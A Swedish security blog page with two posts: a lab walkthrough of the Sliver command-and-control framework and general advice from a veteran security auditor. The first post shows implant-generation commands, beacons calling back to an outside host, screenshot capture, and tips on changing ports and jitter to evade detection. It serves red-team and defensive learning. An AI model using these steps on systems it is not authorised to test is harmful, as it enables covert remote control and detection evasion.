Taggat med: redteam

Test av attack-ramverket Sliver

Sliver logo

Sliver är ett bakdörrs/attack-ramverk eller mer specifikt ett command and Control-ramverk (C&C) som är riktat mot red-teaming och penetrationstester. Liknande funktioner återfinnes i bl.a. Metasploit och kommersiella Cobalt Strike. Microsoft har nyligen identifierat en ökad användning av Sliver hos statliga aktörer och även ransomware-grupperingar.

Sliver kan förutom vid red-teaming användas för att simulera avancerade cyberattacker och kontrollera huruvida EDR (Endpoint Detection & Response) och IT-forensiska förmågor fungerar. Sliver har även stöd för att fungera tillsammans med Prelude Operator och då kan man simulera över 150 st open-source tactics, techniques, and procedures (TTP).

Namnet Sliver kommer från kortspelet Magic: The Gathering som var populärt på 90-talet. Några funktioner som är värda att nämna är också de protokoll som kan användas för nätverkskommunikation/callback:

  • Mutual TLS (mtls)
  • HTTP/s
  • DNS
  • Wireguard

Sliver är ett aktivt projekt som underhålls av företaget Bishop Fox. Det uppdateras löpande via Github och är utvecklat i programspråket Go.

Installation av Sliver

Att installera är enkelt med följande one-liner, men du kontrollerar även givetvis koden innan du kör den?

curl https://sliver.sh/install|sudo bash

Du kan även bygga en egen Docker-container då det följer med en Dockerfile. För att testa så att sliver fungerar efter installationen så behöver du bara skriva sliver så hamnar du rätt in i CLI:t.

Installationsvideo:

Installation av Sliver

Och skärmdump för att hamna i kommandoskalet:

Sliver C&C

Kör vi lsof och tittar på öppna portar så ser det ut enligt följande:

sliver-se 113254 root 11u IPv6 142430 0t0 TCP *:31337 (LISTEN)

Så bra opsec kan då var att byta ut denna 31337-port mot något annat. Detta genomförs genom att redigera följande två filer:

/root/.sliver/configs/server.json
~/.sliver-client/configs/vagrant_localhost.cfg

Den nedre av ovan två filer kan dock heta något annat på just din installation. Oklart hur svårt det är att fingerprinta sliver på port 31337. Eller ännu bättre: Undvik helt att exponera denna port mot internet.

I en annan guide kommer jag att titta på hur kontrollkanaler såsom denna kan detekteras.

Skapa ett implantat

Nu när vi har slivers serverdel uppe och kör så är det dags att skapa ett implantat (klient) som kan köras på Windows, Linux eller macOS. Rekommenderar att läsa följande guide för korskompilering mellan olika OS.

Enligt den design som ligger bakom sliver så är det tänkt att sliver ska fungera som en stage 2 payload/implantat. Därav har storleken inte optimerats och implantaten kan bli över 10 mb i storlek. Men det finns också möjlighet att generera mindre stagers via kommandot generate stager, men detta kräver metasploit.

Det finns två olika lägen: beacons och sessioner. Beacons kontaktar servern med ett visst intervall + jitter och kontrollerar om det finns nya uppgifter att utföra. Medans sessioner är interaktiva mot klienten, och vissa kommandon såsom portfwd och shell kräver interaktiva sessioner.

För att skapa upp ett nytt implantat, hoppa in i slivers kommandoskal och skriv sedan exempelvis:

generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

Så skapas ett nytt implantat med mtls-lyssnare som ansluter mot example.com och filen sparas ner i mappen /home/vagrant/implants/. Detta kan ta lite tid då obfuskering och kompilering genomförs:

sliver > generate --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 00:03:00
[*] Implant saved to /home/vagrant/implants/SHY_AIRSHIP.exe

sliver >

Tittar vi lite närmare på filen ser den ut enligt följande:

┌──(vagrant㉿kali)-[~]
└─$ file implants/SHY_AIRSHIP.exe
implants/SHY_AIRSHIP.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows

┌──(vagrant㉿kali)-[~]
└─$ ls -lah implants/SHY_AIRSHIP.exe
-rwx------ 1 vagrant vagrant 13M Sep  2 09:04 implants/SHY_AIRSHIP.exe

Standard så genereras sessions-implantat. Och vill man istället ha beacons så måste man skriva generate beacon enligt följande:

sliver > generate beacon --mtls backdoor.kryptera.se --save /home/vagrant/implants

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:02:33
[*] Implant saved to /home/vagrant/implants/MODEST_FLOOD.exe

sliver >

Vi kan även nu skriva kommandot implants för att få upp en lista över genererade implants:

Den som är observant kan även se att port 8888 används för mtls. Denna kan också ändras för att göra det svårare att fingerprinta/upptäcka implantatet och servern.

För att starta upp lyssnaren för mtls måste vi även skriva kommandot mtls:

mtls sliver

Exekvering av implantatet

Nu när vi genererat två olika implantat för Windows/amd64 så är det dags att testa dem i en virtuell-testmiljö med Windows. Jag kommer inte gå igenom stage 1 dvs hur du erhåller kodexekvering utan fokusera på stage 2 när väl kod kan köras.

Efter vi att exekverat implantatet på en Windows-klient så får vi en callback enligt följande som dyker upp:

[*] Beacon 3430432f DOUBLE_MANAGEMENT - 41.33.120.5:64418 (DESKTOP-SZ3UOJ) - windows/amd64 - Sat, 03 Sep 2022 12:38:15 UTC

Och sedan kan vi skriva beacons för att få upp en lista med aktiva implantat med beacons:

Sliver beacons

Och som standard så är beacon-intervallet 60 sekunder. Detta går att konfigurera för att försvåra detektion via NIDS (Network-based Intrusion Detection System). Tips är även att skriva beacons watch för att realtid se mer information när beacons ringer hem.

Demo:

Nästa steg blir att skicka tasks eller kommandon som ska utföras av vårt installerade implantat. Och det första steget är att skriva use och sedan välja beacon. Eller skriva use och sedan trycka tabb-tangenten för autocomplete.

Sen rekommenderar jag att skriva help och då får vi upp en mängd olika kommandon vi kan köra såsom screenshot, getuid, ping, netstat, ifconfig, info osv.

Vill vi göra en screenshot så skriver vi bara screenshot och väntar tills det att beaconen ringer hem igen, vilket i vårat fall är max 60 sekunder. Och sedan dyker följande meddelande upp:

[*] Screenshot written to /tmp/screenshot_DESKTOP-SZ1UO3J_20220903130947_272482597.png (77.0 KiB)

Smidigt va? Och vill vi ändra jitter och callback-tiden för att försvåra upptäckt kan man göra en omkonfigurering av implantatet på följande sätt:

sliver reconfig

Nu börjar vi närma oss slutet av detta test. Några saker kvar att nämna är följande:

  • Skriv background för att lägga beaconen i bakgrunden och återvända till ”rooten” i sliver
  • Ingen omfattande obfuskering eller kryptering är i dagsläget aktiv (enbart gobfuscate). När jag testar mot VirusTotal så upptäcker 25 av 70 antivirus-leverantörer EXE-implantatet som genereras av sliver
  • Det finns ingen inbyggt persistens för implantatet, se följande issue.

Nästa guide så tänkte jag skriva mer om detektion av implantat/CnC-ramverk och bakdörrar såsom sliver.

Sliver hittar du på Github här:

Senaste versionen när detta blogginlägg skrivs är 1.5.25 och släpptes fredag den 5:e september 2022.

20 års erfarenhet inom itsäk-granskningar

20 års erfarenhet inom säk-granskningar

Jag tänkte försöka sammanställa några kloksaker om sådant som jag lärt mig efter nästan 20 års erfarenhet av tekniska cybersäkerhetsgranskningar från min tid inom bl.a. FRA, Försvarsmakten och nu som egenföretagare.

Desto äldre jag blir desto mer tid lägger jag på att reflektera och dra slutsatser på ett övergripande och bredare plan.

Det låter eventuellt inte som viktigt men att försöka uppskatta och prioritera den tid du fått avsatt för uppdraget är viktigt. Att inte lägga för mycket tid på sådant som kan leda in i en återvändsgränd ”down the rabbit hole”.

Beräkna tid

Låt verktygen arbeta för dig och automatisera så mycket du bara kan och på så sätt kan du lägga fokus på sådant som kräver manuellt arbete, såsom att förstå en bakomliggande logik i ett system eller mjukvara.

Lita dock inte enbart på automatiserade verktyg utan verifiera och dubbelkolla alltid resultatet.

Kommunikation

Att upprätta en bra leverabel såsom dokumentation (rapport) och ha förmåga att kommunicera denna leverabel till din uppdragsvidare är av stor vikt för framgång. Du kanske är jätteduktig teknisk men när uppdragsgivaren väl får din leverabel två veckor för sent så minskar värdet av din leverabel.

Vet du att du är mindre bra på att kommunicera och dokumentera men duktig på teknik se då till att ditt team innehåller en eller flera personer som kan kommunicera eller dokumentera.

Stödfunktioner och processer

Att ha bra processer och rutiner samt stödfunktioner som hjälper dig och höjer dig i ditt arbete så du kan leverera enligt din optimala förmåga är viktigt. Det kan röra sig om att du slipper gå på tråkiga möten där du kanske inte har något att göra eller minimera tidsrapportering. Eller att själv slippa installera om operativsystem, drivrutiner eller liknande.

Du kan i ditt arbete luta dig tillbaka till en bra grund när det gäller hur uppdrag kommer in, fördelas, prioriteras och sedan levereras. Samt efter avslutat uppdrag hur avdukning går till.

Tillgång till Internet kanske inte finns eller bör användas, därför måste du eller dina kollegor redan innan tänka till vad som kan behövas för offline-bruk. Jag brukar se till att ha många opensource-repon, indexerade digitala böcker (många förlag kan du köpa bulk billigt) samt deb-paket tillgängliga snabbt.

Här hittar du bristerna

Min erfarenhet säger mig att säkerhetsbristerna hittar du oftast på de ställen som:

  • Odokumenterade funktioner/gränssnitt/API:er
  • Ny eller gammal kod. Sök efter kod som hanterar gamla filformat eller protokoll exempelvis
  • Kod som parsar text eller andra komplexa funktioner
  • Funktioner som kan användas på andra sätt än vad utvecklaren hade tänkt på
  • Felaktig eller bristfällig separation mellan behörigheter eller användare
  • Ändringar mot grundsystemet. De flesta operativsystem nuförtiden är relativt säkra i sitt grundutförande, sök efter ändringar som genomförts.
  • Ställen där du kan nå långt in i systemet eller koden med extern indata

Finns givetvis en uppsjö till med saker där jag tittar, kanske kommer eventuellt i en bok framöver.

Spårbarhet

Att dokumentera dina findings under ditt uppdrag är av stor vikt. Speciellt eftersom att du troligtvis kan hitta ett eller annat guldkorn när du granskar exempelvis alla http-svar från webbservern eller all nätverkstrafik som du sparat undan i pcap-format.

Den efterföljande dokumentationen blir också otroligt mycket lättare om du sparat undan så mycket som möjligt. Även kan skärmdumpar eller liknande också vara bra som ett komplement till din löpande textdokumentation (krigsdagbok) eller rådata.

Glöm inte heller att du måste ha en process för att på ett säkert sätt radera all information efter avslutat uppdrag om så behövs, en del av Er OPSEC.

Tänk alltid ett steg längre

Du kanske är snabb på att skjuta iväg en ny exploit från Metasploit mot en sårbar server eller klient. Men tänk efter innan vad detta kan få för konsekvenser i ett andra eller tredje steg och ni behöver göra ett omfall.

Det kan vara så att säkerhetsövervakningen (SOC) upptäcker att ni håller på att genomföra en Red Teaming operation och då kanske ni behöver byta ip-adress, mac-adress eller liknande. Och då är det viktigt att redan innan veta hur detta går till.

Övrigt

Jag försöker även alltid ha möjlighet att göra saker på minst två olika sätt, det gör att jag kan verifiera och dubbelkolla vissa saker samt om ett verktyg eller metod skulle misslyckas kan jag alltid göra på något annat sätt. Öva är även viktigt så du och ditt team eller dina verktyg och metoder fungerar när det väl är skarp verksamhet eller ett uppdrag.

Se även till att du snabbt och enkelt kan sätta upp en miljö som efterliknar målsystemet eller den mjukvara som du granskar. Det gör att du kan hitta mer brister och inte behöver skicka alla dina tester över nätverket eller liknande.

Avslutande ord

Hoppas att detta kan leda till att du, din verksamhet eller ditt team kan bli bättre på just det ni gör inom cybersäkerhet. För jag tycker det är viktigt att vi delar med oss av våra lärdomar och kloksaker till varandra och på så sätt bygger vi säkrare infrastruktur, system och mjukvaror.

Se även till att utbilda din uppdragsgivare så denne blir en bra beställare, och hjälp till med krav och förväntningar samt förutsättningar.